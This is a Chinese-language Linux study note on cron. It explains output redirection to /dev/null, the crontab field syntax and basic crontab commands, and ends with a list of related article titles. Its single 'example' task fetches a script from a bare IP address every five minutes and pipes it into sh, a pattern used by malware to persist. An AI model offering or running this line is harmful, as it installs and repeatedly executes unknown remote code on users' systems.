Linux运维学习笔记-定时任务知识总结
定时任务编辑规范流程:
重要知识点:
切记用全路径编写定时脚本、定时任务
大部分在 crontab 计划任务中都会年到未尾带 >/dev/null 2>&1,是什么意思呢?
> 是重定向
/dev/null 代表空设备文件
1 表示stdout标准输出,系统默认值是1,所以 ">/dev/null" 等同于 "1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
整句的意思就是标准输出重定向到空设备文件,也就是不输出任何信息到终端,标准错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件
&>/dev/null 即不管输出是什么都从定向到/dev/null
command > file 2>file 与 command > file 2>&1 有什么区别呢?
command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.command > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,较多的时候我们会用command > file 2>&1 这样的写法。
定时任务语法:
01 * * * * cmd
分 时 日 月 周 任务
crontab语法格式中时间段的含义如下表
段 |
含义 |
取值范围(整数) |
第一段 |
代表分钟 |
00 – 59 (00也可以是0) |
第二段 |
代表小时 |
00 – 23 |
第三段 |
代表日,天 |
01 – 31 |
第四段 |
代表月份 |
01 – 12 |
第五段 |
代表星期,周几 |
0 -7(0和7都代表星期日) |
提示:时间记忆口诀(分时日月周)。取值范围记录(正常日期时间范围)
定时任务编辑位置:/etc/crontab
编辑定时任务:crontab -e
查看当前用户定时任务:crontab -l
定时任务例子:
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
- Linux运维学习笔记-iptables知识总结
- Linux运维学习笔记-角色知识总结
- Linux运维学习笔记-通配符及正则表达式知识总结
- PHP 开发 APP 接口学习笔记与总结 - [ Linux ] 定时任务
- Linux运维学习笔记-软硬链接知识总结
- Linux运维学习笔记-文件系统知识体系总结
- Linux运维学习笔记之七:定时任务crond 服务
- Linux学习笔记----Linux 系统管理----系统定时任务
- Linux运维笔记-文档总结-系统延迟及定时机制
- Linux 第六周学习笔记 (2),特殊权限列表,at延时任务及定时机制,系统临时文件的管理
- Linux学习笔记—系统定时和延迟任务
- Linux下学习crontab定时任务笔记
- Linux学习笔记之权限与命令之间的关系(重要)及文件与目录知识总结
- Linux学习笔记之权限与命令之间的关系(重要)及文件与文件夹知识总结
- 学习笔记--Linux系统定时任务
- [学习笔记]Linux中的定时任务\计划任务-Crontab
- iOS学习笔记74-IOS多线程知识总结/队列概念/GCD/主队列/并行队列/全局队列/主队列/串行队列/同步任务/异步任务区别附代码
- Linux运维学习笔记-目录知识点总结
- Linux运维学习笔记-常用快捷键及vi、vim总结
- 记 Linux 学习知识总结 -- 寒江老师视频(五) - 过滤器及管道